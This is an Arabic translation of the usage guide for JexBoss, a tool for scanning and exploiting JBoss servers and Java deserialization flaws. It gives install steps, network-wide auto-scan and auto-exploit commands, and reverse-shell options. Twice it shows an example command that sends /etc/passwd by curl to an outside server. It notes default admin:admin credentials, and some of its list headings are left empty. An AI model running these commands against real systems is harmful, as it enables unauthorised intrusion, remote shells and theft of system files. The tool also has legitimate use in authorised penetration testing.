
JexBoss: أداة التحقق من واستغلال Jboss (وثغرات إلغاء التسلسل في Java)
JexBoss هي أداة لاختبار واستغلال الثغرات الأمنية في خادم تطبيقات JBoss ومنصات Java، وأطر العمل، والتطبيقات الأخرى.
لتثبيت أحدث إصدار من JexBoss، يرجى استخدام الأوامر التالية:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
أو:
قم بتنزيل أحدث إصدار من: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
إذا كنت تستخدم CentOS مع Python 2.6، يرجى تثبيت Python2.7. مثال على تثبيت Python 2.7 على CentOS باستخدام Collections Software scl:
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
إذا كنت تستخدم Windows، يمكنك استخدام Git Bash لتشغيل JexBoss. اتبع الخطوات التالية:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
تم تطوير واختبار الأداة والاستغلالات من أجل:
نواقل الاستغلال هي:
$ python jexboss.py

$ python jexboss.py -u http://192.168.0.26:8080

$ python jexboss.py -h
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt


بعد استغلال خادم JBoss، يمكنك استخدام واجهة الأوامر الخاصة بـ jexboss نفسها أو إجراء اتصال عكسي باستخدام الأمر التالي:
jexremote=YOUR_IP:YOUR_PORT
مثال:
Shell>jexremote=192.168.0.10:4444

عند استغلال ثغرات إلغاء تسلسل Java (Application Deserialization، Servlet Deserialization)، تكون الخيارات الافتراضية: إجراء اتصال عكسي (reverse shell) أو إرسال أمر لتنفيذه.
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
optional arguments:
-h, --help عرض رسالة المساعدة هذه والخروج
--version عرض رقم إصدار البرنامج والخروج
--auto-exploit, -A إرسال كود الاستغلال تلقائيًا (استخدم فقط إذا كان لديك إذن!!!)
--disable-check-updates, -D
تعطيل فحصين للتحديثات: 1) فحص التحديثات التي تقوم بها webshell في الخادم المخترق في
http://webshell.jexboss.net/jsp_version.txt و 2) فحص التحديثات التي يقوم بها عميل jexboss في
http://joaomatosf.com/rnp/releases.txt
-mode {standalone,auto-scan,file-scan}
وضع التشغيل (الافتراضي: standalone)
--app-unserialize, -j
فحص ثغرات إلغاء تسلسل Java في معاملات HTTP (مثل javax.faces.ViewState، oldFormData، إلخ)
--servlet-unserialize, -l
فحص ثغرات إلغاء تسلسل Java في Servlets (مثل واجهات Invoker)
--jboss فحص فقط لنواقل JBOSS.
--jenkins فحص فقط لـ Jenkins CLI vector.
--jmxtomcat فحص JMX JmxRemoteLifecycleListener في Tomcat
(CVE-2016-8735 و CVE-2016-8735). ملاحظة: لن يتم فحصه افتراضيًا.
--proxy PROXY, -P PROXY
استخدام وكيل http للاتصال بالهدف (مثال -P http://192.168.0.1:3128)
--proxy-cred LOGIN:PASS, -L LOGIN:PASS
بيانات اعتماد الوكيل (مثال -L name:password)
--jboss-login LOGIN:PASS, -J LOGIN:PASS
تسجيل دخول وكلمة مرور JBoss لاستغلال admin-console في JBoss 5 و JBoss 6 (الافتراضي: admin:admin)
--timeout TIMEOUT عدد الثواني قبل انتهاء مهلة الاتصال (الافتراضي 3)
الوضع المستقل:
-host HOST, -u HOST عنوان المضيف المراد فحصه (مثال -u http://192.168.0.10:8080)
خيارات متقدمة (استخدم عند استغلال JAVA UNSERIALIZE في طبقة التطبيق):
--reverse-host RHOST:RPORT, -r RHOST:RPORT
عنوان ومنفذ المضيف البعيد للـ reverse shell عند استغلال ثغرات إلغاء تسلسل Java
في طبقة التطبيق (حاليًا يعمل فقط ضد أنظمة *nix)(مثال 192.168.0.10:1331)
--cmd CMD, -x CMD إرسال أمر محدد لتنفيذه على الهدف (مثال curl -d @/etc/passwd http://your_server)
--windows, -w يحدد أن الأوامر موجهة لأنظمة Windows (cmd.exe)
--post-parameter PARAMETER, -H PARAMETER
تحديد المعامل للبحث وحقن الكائنات المسلسلة فيه. (أمثلة -H javax.faces.ViewState أو -H
oldFormData (<- Hi PayPal =X) أو غيرها) (الافتراضي: javax.faces.ViewState)
--show-payload, -t طباعة الحمولة المُنشأة.
--gadget {commons-collections3.1,commons-collections4.0,groovy1}
تحديد نوع الـ Gadget لإنشاء الحمولة تلقائيًا. (الافتراضي: commons-collections3.1 أو
groovy1 لـ JenKins)
--load-gadget FILENAME
توفير gadget خاص بك من ملف (كائن Java مسلسل في وضع RAW)
--force, -F فرض إرسال gadgets Java المسلسلة إلى عنوان URL المحدد في المعامل -u. سيرسل الحمولة
بتنسيقات متعددة (مثل RAW، GZIPED و BASE64) وبأنواع Content-Type مختلفة.
وضع الفحص التلقائي:
-network NETWORK الشبكة المراد فحصها بصيغة CIDR (مثال 10.0.0.0/8)
-ports PORTS قائمة بالمنافذ مفصولة بفواصل لفحصها لكل مضيف (مثال 8080,8443,8888,80,443)
-results FILENAME اسم الملف لتخزين نتائج الفحص التلقائي
وضع فحص الملف:
-file FILENAME_HOSTS اسم ملف يحتوي على قائمة المضيفين المراد فحصهم (مضيف واحد في كل سطر)
-out FILENAME_RESULTS
اسم الملف لتخزين نتائج فحص الملف